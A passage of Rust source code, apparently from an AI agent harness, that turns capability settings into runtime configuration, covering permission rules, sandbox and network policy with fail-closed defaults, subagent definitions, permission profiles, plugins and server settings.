    // P5-4 (design §2 module 30, §1.9, §3.1 `capabilities.tui`): the TUI's
    // own activation + display settings — same "pure config → set" carry-
    // forward as the P5-1/P5-3 blocks above. `capabilities.tui.enabled`
    // (`false`, the default, matching every `HarnessConfig` that never sets
    // this table) leaves `Config::tui_enabled` at `false`, and
    // `crates/cli`'s `chat()` runs the pre-P5-4 rustyline REPL loop
    // byte-for-byte — see `Config::tui_enabled`'s doc comment.
    if let Some(cap) = hc.capabilities.get("tui") {
        config.tui_enabled = cap.enabled.unwrap_or(false);
        if let Some(theme) = cap
            .settings
            .get("theme")
            .and_then(serde_json::Value::as_str)
        {
            config.tui_theme = theme.to_string();
        }
        config.tui_vim_mode = cap
            .settings
            .get("vim_mode")
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(false);
        if let Some(keymap) = cap.settings.get("keymap").and_then(|v| v.as_object()) {
            config.tui_keymap = keymap
                .iter()
                .filter_map(|(k, v)| v.as_str().map(|s| (k.clone(), s.to_string())))
                .collect();
        }
    }

    // BP-8 (catalog:156 "Todos/plan persisted per session"): both parity
    // presets already set `[capabilities.todos] persist = true`; before
    // BP-8 nothing read it, so the plan lived in `UpdatePlanTool`'s own
    // mutex and died with the process. Materialize it onto `Config` so the
    // agent's plan writer has a gate to consult.
    if let Some(cap) = hc.capabilities.get("todos") {
        config.todos_persist = cap
            .settings
            .get("persist")
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(false)
            && cap.enabled.unwrap_or(false);
    }

    // P5-5 (design §2 module 21 `session.tree`, §3.1): the tree module's
    // advisory config fields — same "pure config → set" carry-forward as
    // P5-1/P5-3 above. `capabilities.session_tree.enabled` (`false`, the
    // default, matching every `HarnessConfig` that never sets this table)
    // leaves every field below at `Config::default()`'s zero value;
    // `crate::session_tree::SessionTree` itself has no runtime dependency on
    // any of these (see `Config::session_tree_enabled`'s doc comment), so
    // this block changes no BEHAVIOR — only what a future CLI/TUI caller can
    // read off the resolved `Config`.
    if let Some(cap) = hc.capabilities.get("session_tree") {
        config.session_tree_enabled = cap.enabled.unwrap_or(false);
        // §3.1's own schema default is `true` for both sub-flags when the
        // table is present but a key is unset — same shape as
        // `modules::tools_search_subflag`/`tools_web_subflag`.
        config.session_tree_branch_summaries = cap
            .settings
            .get("branch_summaries")
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(true);
        config.session_tree_labels = cap
            .settings
            .get("labels")
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(true);
    }

    // P5-6 (design §2 module 4, §2.1 "tools.background → permissions.
    // approvals(auto-policy) [C6 as dep]", §2.2 C6): the tools_background
    // ENGINE's runtime fields — same "pure config → set" carry-forward as
    // the subagents block just above. `capabilities.tools_background.
    // enabled` (`false`, the default, matching every `HarnessConfig` that
    // never sets this table) leaves every field below at
    // `Config::default()`'s zero value, and `Agent::tool_schemas`/
    // `Agent::prepare_tool_call` never advertise or intercept
    // `background_exec`/`background_status`/`background_list`/
    // `background_kill` at all — byte-identical to today's no-
    // tools_background behavior. Note: the module's own C6 auto-policy
    // reuses `capabilities.subagents.background_prompts` (already parsed
    // above into `config.subagents_background_prompts`) rather than a
    // second key — see `Agent::background_permission_denial`'s doc comment
    // and `validate_modules`'s C6 check just below, both of which treat
    // that ONE schema key (module 9's) as covering both modules, exactly
    // as design §2.2 C6 states ("both values are §3.1 schema keys (module
    // 9)").
    if let Some(cap) = hc.capabilities.get("tools_background") {
        config.tools_background_enabled = cap.enabled.unwrap_or(false);
        config.tools_background_max_concurrent = cap
            .settings
            .get("max_concurrent")
            .and_then(serde_json::Value::as_u64)
            .map(|n| n as usize)
            .unwrap_or(crate::background::DEFAULT_MAX_CONCURRENT);
        config.tools_background_max_output_bytes = cap
            .settings
            .get("max_output_bytes")
            .and_then(serde_json::Value::as_u64)
            .map(|n| n as usize)
            .unwrap_or(crate::background::DEFAULT_MAX_OUTPUT_BYTES);
    }

    // P5-9 (design §2 module 20 `checkpoint`, §3.1): the checkpoint
    // module's ENGINE-consumed fields — same "pure config → set" carry-
    // forward as the `tools_background` block just above.
    // `capabilities.checkpoint.enabled` (`false`, the default, matching
    // every `HarnessConfig` that never sets this table) leaves
    // `config.checkpoint_enabled` at `Config::default()`'s `false`, and
    // `crate::agent::build_tool_context`/`crate::checkpoint::observer_for_config`
    // then never touch disk at all — no shadow store, no
    // `ToolContext::write_observer` — byte-identical to before this module
    // existed. `retain` is NOT in the §3.1 illustrative schema snippet
    // (only `{ enabled = false }` is shown there) but IS a real, wired
    // knob — see `Config::checkpoint_retain`'s doc comment — never a
    // declared-but-dead key.
    if let Some(cap) = hc.capabilities.get("checkpoint") {
        config.checkpoint_enabled = cap.enabled.unwrap_or(false);
        config.checkpoint_retain = cap
            .settings
            .get("retain")
            .and_then(serde_json::Value::as_u64)
            .map(|n| n as usize)
            .unwrap_or(crate::checkpoint::DEFAULT_RETAIN);
        // BP-7 (§3.1 `capabilities.checkpoint.restore`): absent means
        // `true` — the pre-BP-7 behavior for every config that turns the
        // module on. `false` is the turn-diff-only posture (cx-parity).
        config.checkpoint_restore = cap
            .settings
            .get("restore")
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(true);
    }

    // P5-11 (§2 module 28 `lsp`): `capabilities.lsp` — the ENGINE-consumed
    // fields, same "pure config -> set" carry-forward as `checkpoint`
    // above. `capabilities.lsp.enabled` (`false`, the default, matching
    // every `HarnessConfig` that never sets this table) leaves
    // `config.lsp_enabled` at `Config::default()`'s `false`, and
    // `crate::agent::build_tool_context`/`crate::lsp::manager_for_config`
    // then never spawn a process at all — byte-identical to before this
    // module existed.
    if let Some(cap) = hc.capabilities.get("lsp") {
        config.lsp_enabled = cap.enabled.unwrap_or(false);
        config.lsp_servers = lsp_servers_from_settings(&cap.settings);
        config.lsp_max_diagnostics = cap
            .settings
            .get("max_diagnostics")
            .and_then(serde_json::Value::as_u64)
            .map(|n| n as usize)
            .unwrap_or(crate::lsp::DEFAULT_LSP_MAX_DIAGNOSTICS);
        config.lsp_timeout_secs = cap
            .settings
            .get("timeout_secs")
            .and_then(serde_json::Value::as_u64)
            .unwrap_or(crate::lsp::DEFAULT_LSP_TIMEOUT_SECS);
    }

    // P5-11 (§2 module 29 `formatters`, C10): `capabilities.formatters` —
    // same carry-forward as `lsp` just above. `enabled = false` (the
    // default) leaves the shared D-5 write-observer chain without a
    // `FormatObserver` entry at all. `diff_back` defaults to `true` (C10-
    // SAFE) matching the design's own `[capabilities.formatters] { enabled
    // = false, diff_back = true }` default line (§3.1) — a config that sets
    // `enabled = true` but never touches `diff_back` still gets the safe
    // default, not an accidental `false`.
    if let Some(cap) = hc.capabilities.get("formatters") {
        config.formatters_enabled = cap.enabled.unwrap_or(false);
        config.formatters_diff_back = cap
            .settings
            .get("diff_back")
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(true);
        config.formatters_timeout_secs = cap
            .settings
            .get("timeout_secs")
            .and_then(serde_json::Value::as_u64)
            .unwrap_or(crate::formatters::DEFAULT_FORMATTER_TIMEOUT_SECS);
        config.formatters = formatters_from_settings(&cap.settings);
    }

    // P5-12 (§2 module 14 `trust`): `capabilities.trust` — the master gate
    // + decision `crate::plugins::is_trusted` reads. `enabled = false` (the
    // default, matching every `HarnessConfig` that never sets this table)
    // leaves `config.trust_enabled` at `Config::default()`'s `false`, so
    // `is_trusted` is always `false` regardless of `trust_default` — same
    // "master gate first" carry-forward as every other P5 module.
    if let Some(cap) = hc.capabilities.get("trust") {
        config.trust_enabled = cap.enabled.unwrap_or(false);
        config.trust_default = cap
            .settings
            .get("default")
            .and_then(serde_json::Value::as_str)
            .and_then(crate::plugins::TrustDecision::parse)
            .unwrap_or_default(); // TrustDecision::Ask — fails closed on an
                                  // unset/unparseable value, never `Always`.
    }

    // P5-12 (§2 module 18 `plugins`, D-10): `capabilities.plugins` — the
    // ENGINE-consumed fields `crate::plugins::discover_and_load` reads.
    // `enabled = false` (the default) leaves `config.plugins_enabled` at
    // `Config::default()`'s `false`, and `crate::agent::Agent::with_parts`
    // never calls `crate::plugins::register_into` at all — no directory
    // read, no manifest parse, no subprocess — byte-identical to before
    // this module existed. `[capabilities.plugins]` (this whole table) is
    // project-forbidden (`PROJECT_FORBIDDEN_CAPABILITY_TABLES` above), so
    // `dirs` can only ever reach here from the trusted user/global layer.
    if let Some(cap) = hc.capabilities.get("plugins") {
        config.plugins_enabled = cap.enabled.unwrap_or(false);
        config.plugins_dirs = string_array(cap.settings.get("dirs"))
            .into_iter()
            .map(std::path::PathBuf::from)
            .collect();
    }

    // P4 (design §5.2 "P4"): `capabilities.model_catalog` — alias
    // resolution (promoted into core, `crate::model_catalog`) for
    // `core.model`, plus the `small_model`/`fallback` knobs. See
    // `model_catalog::resolve`'s doc comment for why this is consulted
    // regardless of `capabilities.model_catalog.enabled`.
    // BP-13 (§3.1 `capabilities.plan_mode.effort`): the effort tier plan
    // mode runs at. Read from the module's own table — a per-mode routing
    // rule, resolved and clamped by the same routing path as every other
    // effort decision (see `Agent::apply_routing`).
    if let Some(cap) = hc.capabilities.get("plan_mode") {
        config.plan_mode_effort = cap
            .settings
            .get("effort")
            .and_then(|v| v.as_str())
            .filter(|e| !e.is_empty())
            .map(str::to_string);
    }

    // BP-13: the SAME call now also carries the whole routing table forward
    // (aliases incl. patterns/provider/account scopes, per-model effort and
    // thinking budgets, service tiers, tool-shape capability bits, and the
    // config-layer allow/deny lists). One resolution, one table, every
    // consumer downstream reading `Config::model_routing`.
    let mc = crate::model_catalog::resolve(&hc.capabilities, &config.model);
    config.model = mc.model;
    config.small_model = mc.small_model;
    config.model_fallback = mc.fallback;
    // BP-5 (catalog D2 "Per-model-family base-prompt selection"): the
    // per-family base prompts travel with the rest of the catalog's data.
    // Selection itself happens at prompt assembly (`Agent::with_parts`) and
    // again on `Agent::set_model`, because it depends on the model in force.
    config.model_family_prompts = mc.base_prompts;
    config.model_routing = mc.routing;

    config
}

/// P5-11 (`capabilities.lsp.servers.<name>`): parse the nested `servers`
/// table into `(name, LspServerSpec)` pairs, alphabetical by name (see
/// `Config::lsp_servers`'s doc comment for why). An entry missing a
/// string `command` is skipped (malformed, not a crash) — `args`/
/// `extensions` default to empty when absent or the wrong shape.
fn lsp_servers_from_settings(
    settings: &serde_json::Map<String, serde_json::Value>,
) -> Vec<(String, crate::lsp::LspServerSpec)> {
    let Some(servers) = settings.get("servers").and_then(|v| v.as_object()) else {
        return Vec::new();
    };
    let mut names: Vec<&String> = servers.keys().collect();
    names.sort();
    names
        .into_iter()
        .filter_map(|name| {
            let def = servers.get(name)?.as_object()?;
            let command = def.get("command")?.as_str()?.to_string();
            let args = string_array(def.get("args"));
            let extensions = string_array(def.get("extensions"));
            Some((
                name.clone(),
                crate::lsp::LspServerSpec {
                    command,
                    args,
                    extensions,
                },
            ))
        })
        .collect()
}

/// P5-11 (`capabilities.formatters.<name>`): parse every OTHER key in the
/// `[capabilities.formatters]` table (i.e. every key besides the two
/// recognized scalars `diff_back`/`timeout_secs`) as a formatter
/// definition — mirrors the design's own schema shape
/// (`[capabilities.formatters.<name>] command=... extensions=[...]`,
/// SIBLINGS of `enabled`/`diff_back`, unlike `lsp`'s nested `servers`
/// table). Alphabetical by name, same rationale as
/// [`lsp_servers_from_settings`].
fn formatters_from_settings(
    settings: &serde_json::Map<String, serde_json::Value>,
) -> Vec<(String, crate::formatters::FormatterSpec)> {
    const RESERVED: &[&str] = &["diff_back", "timeout_secs"];
    let mut names: Vec<&String> = settings
        .keys()
        .filter(|k| !RESERVED.contains(&k.as_str()))
        .collect();
    names.sort();
    names
        .into_iter()
        .filter_map(|name| {
            let def = settings.get(name)?.as_object()?;
            let command = def.get("command")?.as_str()?.to_string();
            let args = string_array(def.get("args"));
            let extensions = string_array(def.get("extensions"));
            Some((
                name.clone(),
                crate::formatters::FormatterSpec {
                    command,
                    args,
                    extensions,
                },
            ))
        })
        .collect()
}

/// Shared helper: a JSON array of strings, or an empty `Vec` for anything
/// else (absent, wrong shape, non-string entries skipped individually).
fn string_array(v: Option<&serde_json::Value>) -> Vec<String> {
    v.and_then(|v| v.as_array())
        .map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
        .unwrap_or_default()
}

/// P4 (design §5.2 "P4"): read `capabilities.permissions.rules.deny`/
/// `.allow` (module 11's two pattern arrays) into `(deny, allow)` glob
/// pattern lists — the S-sized generalization of `auto_approved_tools`
/// this phase lands, NOT the full P5 deny→ask→allow priority engine. `cap`
/// is the already-fetched `capabilities.permissions` table (both this
/// resolver's `materialize_config` and the CLI's own `build_config` fetch
/// it themselves first, since each has a different container type to fetch
/// it FROM — a `HarnessConfig` vs a `BTreeMap` on `FileConfig`). Empty
/// `Vec`s when the table or either key is absent — the default,
/// byte-identical-to-today shape.
pub fn permissions_rules_patterns(cap: &CapabilityConfig) -> (Vec<String>, Vec<String>) {
    let Some(rules) = cap.settings.get("rules").and_then(|v| v.as_object()) else {
        return (Vec::new(), Vec::new());
    };
    let deny = rules
        .get("deny")
        .and_then(|v| v.as_array())
        .map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
        .unwrap_or_default();
    let allow = rules
        .get("allow")
        .and_then(|v| v.as_array())
        .map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
        .unwrap_or_default();
    (deny, allow)
}

/// P5-1 (design §2 module 11, §3.1 `capabilities.permissions.rules.ask`):
/// the `ask` sibling of [`permissions_rules_patterns`]'s `deny`/`allow` —
/// kept as its own function (rather than folded into that one) since only
/// the P5-1 engine consults `ask` at all; `Config::needs_approval` (the
/// legacy gate) has no `ask` concept, so `permissions_rules_patterns`
/// staying deny/allow-only keeps its existing callers (including the CLI's
/// `build_config`) untouched.
pub fn permissions_rules_ask_patterns(cap: &CapabilityConfig) -> Vec<String> {
    cap.settings
        .get("rules")
        .and_then(|v| v.as_object())
        .and_then(|rules| rules.get("ask"))
        .and_then(|v| v.as_array())
        .map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
        .unwrap_or_default()
}

/// P5-1 (design §2 module 13, §3.1
/// `capabilities.permissions.protected_paths.paths`): read the protected-
/// paths glob list — unconditional-on-`cap` like `auto_approved_tools`/
/// `permissions_rules_patterns` above (not gated on
/// `permissions.protected_paths.enabled`, same sibling-field precedent);
/// [`crate::permissions::rules::protected_path_deny_rules`] is what expands
/// this list into the engine's actual `deny` tier at the gate.
pub fn permissions_protected_paths(cap: &CapabilityConfig) -> Vec<String> {
    cap.settings
        .get("protected_paths")
        .and_then(|v| v.as_object())
        .and_then(|pp| pp.get("paths"))
        .and_then(|v| v.as_array())
        .map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
        .unwrap_or_default()
}

/// P5-3 (design §2 module 9, §3.1 `capabilities.subagents.agents.<name>`,
/// D3 "named-defs"): parse the named-subagent-definition sub-table into
/// [`crate::subagents::NamedAgentDefinition`]s, keyed by name. Missing or
/// malformed fields degrade gracefully (an entry with no `system_prompt`
/// gets an empty one — the caller falls back to the parent's own system
/// prompt, see `Agent::run_spawn_subagent`) rather than erroring the whole
/// resolve — a config-shape mistake here is a weaker agent definition, not
/// a security-relevant silent-allow (unlike the permissions-layer
/// case-sensitivity carry-forward elsewhere in this file).
pub fn subagent_definitions(
    cap: &CapabilityConfig,
) -> std::collections::HashMap<String, crate::subagents::NamedAgentDefinition> {
    let mut out = std::collections::HashMap::new();
    let Some(agents) = cap.settings.get("agents").and_then(|v| v.as_object()) else {
        return out;
    };
    for (name, def) in agents {
        let Some(obj) = def.as_object() else { continue };
        let system_prompt = obj
            .get("system_prompt")
            .and_then(|v| v.as_str())
            .unwrap_or("")
            .to_string();
        let tools = obj.get("tools").and_then(|v| v.as_array()).map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect::<Vec<_>>()
        });
        let model = obj.get("model").and_then(|v| v.as_str()).map(String::from);
        // BP-7 (catalog §4a "Named agent definitions as data"): the
        // `permissions` component of the row's own semantics
        // (`prompt+model+tools+permissions`). Tightening-only — see
        // `crate::subagents::AgentPermissions`.
        let permissions = obj
            .get("permissions")
            .and_then(|v| v.as_object())
            .map(|perms| crate::subagents::AgentPermissions {
                approval: perms
                    .get("approval")
                    .and_then(|v| v.as_str())
                    .and_then(parse_approval_str),
                sandbox: perms
                    .get("sandbox")
                    .and_then(|v| v.as_str())
                    .and_then(parse_sandbox_str),
                auto_approved_tools: perms
                    .get("auto_approved_tools")
                    .and_then(|v| v.as_array())
                    .map(|a| {
                        a.iter()
                            .filter_map(|x| x.as_str().map(String::from))
                            .collect::<Vec<_>>()
                    }),
                deny: perms
                    .get("deny")
                    .and_then(|v| v.as_array())
                    .map(|a| {
                        a.iter()
                            .filter_map(|x| x.as_str().map(String::from))
                            .collect::<Vec<_>>()
                    })
                    .unwrap_or_default(),
            });
        out.insert(
            name.clone(),
            crate::subagents::NamedAgentDefinition {
                name: name.clone(),
                system_prompt,
                tools,
                model,
                permissions,
            },
        );
    }
    out
}

/// P5-1 (design §2 module 12 carry-forward, §3.1
/// `capabilities.permissions.sandbox.network.*`): give the
/// `crate::tools::NetworkPolicy` enforcement point (`ToolContext::check_network`,
/// wired since P4c) its real config source. Reads the network sub-table of
/// `capabilities.permissions.sandbox` — note this is nested under
/// `permissions`, not a separate `permissions.sandbox` capability entry (see
/// [`module_enabled`]'s doc comment on the dotted-name convention: nested
/// modules 11-13 all live in `permissions`'s own `settings`, never as
/// separate `BTreeMap` keys). `None` when `capabilities.permissions.sandbox`
/// (the TABLE form; the bare-string tier shorthand has no `network` to read)
/// is absent entirely — byte-identical to today's no-policy-configured gap.
/// Present-but-`network`-absent still yields `Some(NetworkPolicy::default())`
/// (`enabled: false`), which is a harmless no-op — see `NetworkPolicy`'s own
/// doc comment (`crate::tools`) on `enabled: false` behaving exactly like
/// `None` on the context.
pub fn permissions_network_policy(cap: &CapabilityConfig) -> Option<crate::tools::NetworkPolicy> {
    let sandbox = cap.settings.get("sandbox")?.as_object()?;
    let network = sandbox.get("network").and_then(|v| v.as_object());
    let enabled = network
        .and_then(|n| n.get("enabled"))
        .and_then(|v| v.as_bool())
        .unwrap_or(false);
    let string_list = |key: &str| -> Vec<String> {
        network
            .and_then(|n| n.get(key))
            .and_then(|v| v.as_array())
            .map(|a| {
                a.iter()
                    .filter_map(|x| x.as_str().map(String::from))
                    .collect()
            })
            .unwrap_or_default()
    };
    Some(crate::tools::NetworkPolicy {
        enabled,
        allow_domains: string_list("allow_domains"),
        deny_domains: string_list("deny_domains"),
    })
}

/// BP-10 (catalog row "Named permission profiles", semantics "Reusable,
/// inheritable permission bundles"; cx§4 `[permissions.<name>]` with
/// `extends`): the depth cap on a profile's `extends` chain — the same
/// bound [`MAX_EXTENDS_DEPTH`] puts on a config's own preset chain, for
/// the same reason.
const MAX_PROFILE_EXTENDS_DEPTH: usize = 8;

/// BP-10: apply `capabilities.permissions.profile = "<name>"` by folding
/// `capabilities.permissions.profiles.<name>` (and everything it
/// `extends`, root-first) into the `permissions` table itself. Returns the
/// warnings a caller should surface; a profile name that does not exist is
/// a warning and a NO-OP, never a silent posture change.
///
/// **What a bundle may carry**, and how each key folds — the two
/// directions are deliberate, and follow
/// [`merge_permissions_capability`]'s own monotonic discipline:
///
/// * `approval`, `sandbox`, `auto_approved_tools` — REPLACE. These are the
///   posture the user selected the bundle FOR; a profile that says
///   `sandbox = "read_only"` means it.
/// * `rules.deny`, `rules.ask`, `protected_paths.paths` — UNION. A bundle
///   may ADD a floor; it may never remove one the base layer set. Selecting
///   a permission profile is not a way to delete the deny rules a user's
///   own config already established.
/// * `rules.allow` — REPLACE, but only when the bundle sets it. `allow` is
///   the loosening tier, so unioning it would let a permissive bundle
///   silently widen a restrictive base; replacing keeps the selected
///   bundle's allowlist exactly as written.
/// * `extends = "<other profile>"` — the inheritance the row names. Chased
///   root-first (the ancestor folds first, the selected profile last), with
///   a cycle guard and [`MAX_PROFILE_EXTENDS_DEPTH`].
///
/// `profile` unset (every config that never names one, including both
/// parity presets by default) returns immediately with no warnings and no
/// mutation — byte-identical to before this existed.
fn apply_permission_profile(hc: &mut HarnessConfig) -> Vec<String> {
    let mut warnings = Vec::new();
    let Some(cap) = hc.capabilities.get("permissions") else {
        return warnings;
    };
    let Some(selected) = cap.settings.get("profile").and_then(|v| v.as_str()) else {
        return warnings;
    };
    let selected = selected.to_string();
    let profiles = cap
        .settings
        .get("profiles")
        .and_then(|v| v.as_object())
        .cloned()
        .unwrap_or_default();

    // Chase `extends`, root-first.
    let mut chain: Vec<serde_json::Map<String, serde_json::Value>> = Vec::new();
    let mut seen: Vec<String> = Vec::new();
    let mut name = selected.clone();
    loop {
        let Some(body) = profiles.get(&name).and_then(|v| v.as_object()) else {
            warnings.push(format!(
                "capabilities.permissions.profile = \"{name}\" names no                  [capabilities.permissions.profiles.{name}] table (ignored)"
            ));
            return warnings;
        };
        if seen.iter().any(|s| *s == name) {
            warnings.push(format!(
                "capabilities.permissions.profiles.{name} forms an `extends` cycle                  ({}) — the profile is ignored",
                seen.join(" -> ")
            ));
            return warnings;
        }
        seen.push(name.clone());
        chain.push(body.clone());
        if seen.len() > MAX_PROFILE_EXTENDS_DEPTH {
            warnings.push(format!(
                "capabilities.permissions.profiles.{selected}'s `extends` chain exceeds the                  depth-{MAX_PROFILE_EXTENDS_DEPTH} cap — the profile is ignored"
            ));
            return warnings;
        }
        match body.get("extends").and_then(|v| v.as_str()) {
            Some(parent) => name = parent.to_string(),
            None => break,
        }
    }
    chain.reverse();

    let Some(cap) = hc.capabilities.get_mut("permissions") else {
        return warnings;
    };
    for body in &chain {
        fold_profile_layer(&mut cap.settings, body);
    }
    warnings
}

/// BP-10: fold ONE profile bundle onto the live `permissions` settings —
/// see [`apply_permission_profile`]'s doc comment for which keys replace
/// and which union, and why.
fn fold_profile_layer(
    settings: &mut serde_json::Map<String, serde_json::Value>,
    body: &serde_json::Map<String, serde_json::Value>,
) {
    for key in ["approval", "auto_approved_tools"] {
        if let Some(v) = body.get(key) {
            settings.insert(key.to_string(), v.clone());
        }
    }
    // `sandbox` goes through the SAME canonicalizing deep-merge a config
    // layer's own `sandbox` does, so a bundle giving the bare-string tier
    // does not erase the base's `env_policy`/`network` subkeys.
    if let Some(v) = body.get("sandbox") {
        match merge_sandbox_value(settings.get("sandbox"), Some(v)) {
            Some(merged) => {
                settings.insert("sandbox".to_string(), merged);
            }
            None => {
                settings.remove("sandbox");
            }
        }
    }
    if let Some(rules) = body.get("rules").and_then(|v| v.as_object()) {
        for tier in ["deny", "ask"] {
            union_profile_str_array(settings, &["rules", tier], rules.get(tier));
        }
        if let Some(allow) = rules.get("allow") {
            let entry = settings
                .entry("rules".to_string())
                .or_insert_with(|| serde_json::Value::Object(Default::default()));
            if let Some(obj) = entry.as_object_mut() {
                obj.insert("allow".to_string(), allow.clone());
            }
        }
    }
    // ONE shape, `protected_paths = { paths = [...] }` — the same table the
    // top-level key uses, and the same one `StrictProfileTable` validates.
    // A second accepted spelling would be a shape the strict schema flags
    // and the fold silently honors.
    if let Some(paths) = body.get("protected_paths").and_then(|v| v.as_object()) {
        union_profile_str_array(settings, &["protected_paths", "paths"], paths.get("paths"));
    }
}

/// BP-10: union an incoming string array into `settings` at a nested path.
/// Built from the SAME [`nested_str_array`]/[`set_nested_str_array`] pair
/// the untrusted-layer merge uses, so a profile fold and a project-layer
/// merge grow a floor identically rather than through two hand-rolled
/// walkers. Only ever GROWS: an existing entry is never dropped.
fn union_profile_str_array(
    settings: &mut serde_json::Map<String, serde_json::Value>,
    path: &[&str],
    incoming: Option<&serde_json::Value>,
) {
    let Some(incoming) = incoming.and_then(|v| v.as_array()) else {
        return;
    };
    let mut union = nested_str_array(settings, path);
    for item in incoming {
        if let Some(text) = item.as_str() {
            if !union.iter().any(|v| v == text) {
                union.push(text.to_string());
            }
        }
    }
    if union.is_empty() {
        return;
    }
    set_nested_str_array(settings, path, union);
}

/// P5-10 (§2 module 12, §3.1 `capabilities.permissions.sandbox.enabled`):
/// the OS-level backstop's own master gate — see `crate::sandbox::
/// os_sandbox_active`'s doc comment for why `None` (the TABLE form's
/// `enabled` key absent, OR the bare-string `sandbox = "<tier>"` shorthand
/// used instead, which has no `enabled` key to read at all) preserves the
/// pre-P5-10 tier-driven trigger rather than defaulting to `Some(false)`.
pub fn permissions_sandbox_os_enabled(cap: &CapabilityConfig) -> Option<bool> {
    cap.settings
        .get("sandbox")?
        .as_object()?
        .get("enabled")?
        .as_bool()
}

/// P5-10 (§2 module 12, §3.1 `capabilities.permissions.sandbox.escalation`):
/// parses via `crate::sandbox::SandboxEscalation::parse` (the alias-
/// normalizing parser every sandbox-adjacent string in this crate uses);
/// an absent or unrecognized value fails safe to
/// [`crate::sandbox::SandboxEscalation::Deny`] (the type's own `Default`),
/// never silently to `Allow`.
pub fn permissions_sandbox_escalation(cap: &CapabilityConfig) -> crate::sandbox::SandboxEscalation {
    cap.settings
        .get("sandbox")
        .and_then(|v| v.as_object())
        .and_then(|o| o.get("escalation"))
        .and_then(|v| v.as_str())
        .and_then(crate::sandbox::SandboxEscalation::parse)
        .unwrap_or_default()
}

/// P5-10 (§2 module 12, §3.1 `capabilities.permissions.sandbox.env_policy`):
/// same parse-or-fail-safe-to-`Default` treatment as
/// [`permissions_sandbox_escalation`] — an absent or unrecognized value
/// falls back to [`crate::sandbox::SandboxEnvPolicy::Inherit`] (today's
/// behavior), never silently to the stricter `None` (that would be a
/// surprising, unrequested behavior CHANGE, not a safe fail-closed
/// default — `env_policy` narrows what a *subprocess* sees, it isn't a
/// security gate the way `escalation`'s fail-closed direction is).
pub fn permissions_sandbox_env_policy(cap: &CapabilityConfig) -> crate::sandbox::SandboxEnvPolicy {
    cap.settings
        .get("sandbox")
        .and_then(|v| v.as_object())
        .and_then(|o| o.get("env_policy"))
        .and_then(|v| v.as_str())
        .and_then(crate::sandbox::SandboxEnvPolicy::parse)
        .unwrap_or_default()
}

/// P4d (design §5.2 P1 CLI-adapter follow-up): read
/// `capabilities.deferred_tools.core` (module 24's eagerly-advertised
/// allowlist) — the S-sized read `materialize_config` inlined, extracted
/// so the CLI's own `build_config` can share it without re-deriving the same
/// JSON-array walk, same pattern as [`permissions_rules_patterns`]. Caller
/// is responsible for the `cap.enabled == Some(true)` gate (both call sites
/// already fetch the capability that way). `None` when the `core` key is
/// absent — leaves the caller's existing value untouched, matching
/// `ConfigProfile::tool_advertising_core`'s "only overridden if the profile
/// sets it" contract.
pub fn deferred_tools_core(cap: &CapabilityConfig) -> Option<Vec<String>> {
    cap.settings
        .get("core")
        .and_then(|v| v.as_array())
        .map(|list| {
            list.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
}

/// P4d: read `capabilities.cache.plan` — same extraction rationale as
/// [`deferred_tools_core`].
pub fn cache_plan_str(cap: &CapabilityConfig) -> Option<String> {
    cap.settings
        .get("plan")
        .and_then(|v| v.as_str())
        .map(String::from)
}

/// P5-8 (§2 module 31 `server`, D8 "remote attach"): read
/// `capabilities.server.bind` — the HTTP listen address `serve`/`--output-
/// format rpc --http`-class transports use. `None` (unset) means the
/// LOOPBACK DEFAULT the runtime itself picks (127.0.0.1, OS-assigned
/// ephemeral port) — this fn only surfaces an EXPLICIT override, so the
/// runtime can tell "the operator opted into a specific bind" (which may
/// warrant the non-loopback-exposure warning) from "nothing configured
/// (safe default)".
pub fn server_bind(cap: &CapabilityConfig) -> Option<String> {
    cap.settings
        .get("bind")
        .and_then(|v| v.as_str())
        .map(String::from)
}

/// P5-8: read `capabilities.server.token` — the bearer token a remote HTTP
/// client must present (§ security posture: stdio transports are parent-
/// process-trusted and need no token; HTTP does). `None` (unset) means the
/// runtime mints a random per-session token instead of trusting a
/// operator-chosen fixed value.
pub fn server_token(cap: &CapabilityConfig) -> Option<String> {
    cap.settings
        .get("token")
        .and_then(|v| v.as_str())
        .map(String::from)
}

/// BP-1: `[experimental].<key>` as a bool for a gate that is ON for every
/// resolved config and can only be turned OFF explicitly — absent (or
/// non-bool) → `true`, `false` → `false`. Used for `module_registry`, whose
/// staged-gate phase is over: the resolved module set drives the tool
/// registry and MCP attach by default, and the flag survives only as the
/// escape hatch back to the unfiltered `with_builtins()` stack.
fn experimental_opt_in(hc: &HarnessConfig, key: &str) -> bool {
    hc.experimental
        .get(key)
        .and_then(|v| v.as_bool())
        .unwrap_or_else(|| experimental_default(key))
}

/// BP-9 (D6 row "Feature-flag system", cx§6's `[features]` staged table):
/// how far along a `[experimental]` flag is. The STAGE is what decides the
/// flag's default, so "what happens if I don't set it?" has one answer
/// derived from one place instead of a hand-written `unwrap_or` per call
/// site.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ExperimentalStage {
    /// Off unless explicitly opted IN. The stage a new gate starts at.
    Experimental,
    /// Off by default, but the shape is settled — opting in is supported,
    /// not a dare.
    Beta,
    /// ON by default; the flag survives only as the explicit opt-OUT
    /// escape hatch back to the pre-flag behavior.
    Default,
}

impl ExperimentalStage {
    /// The flag's value when the config doesn't set it.
    pub fn default_on(self) -> bool {
        matches!(self, ExperimentalStage::Default)
    }

    /// Wire/display label.
    pub fn label(self) -> &'static str {
        match self {
            ExperimentalStage::Experimental => "experimental",
            ExperimentalStage::Beta => "beta",
            ExperimentalStage::Default => "default",
        }
    }
}

/// One `[experimental]` flag: its key, its stage, and what it does.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct ExperimentalFlag {
    /// The `[experimental]` table key.
    pub name: &'static str,
    /// How far along the gate is (decides the default).
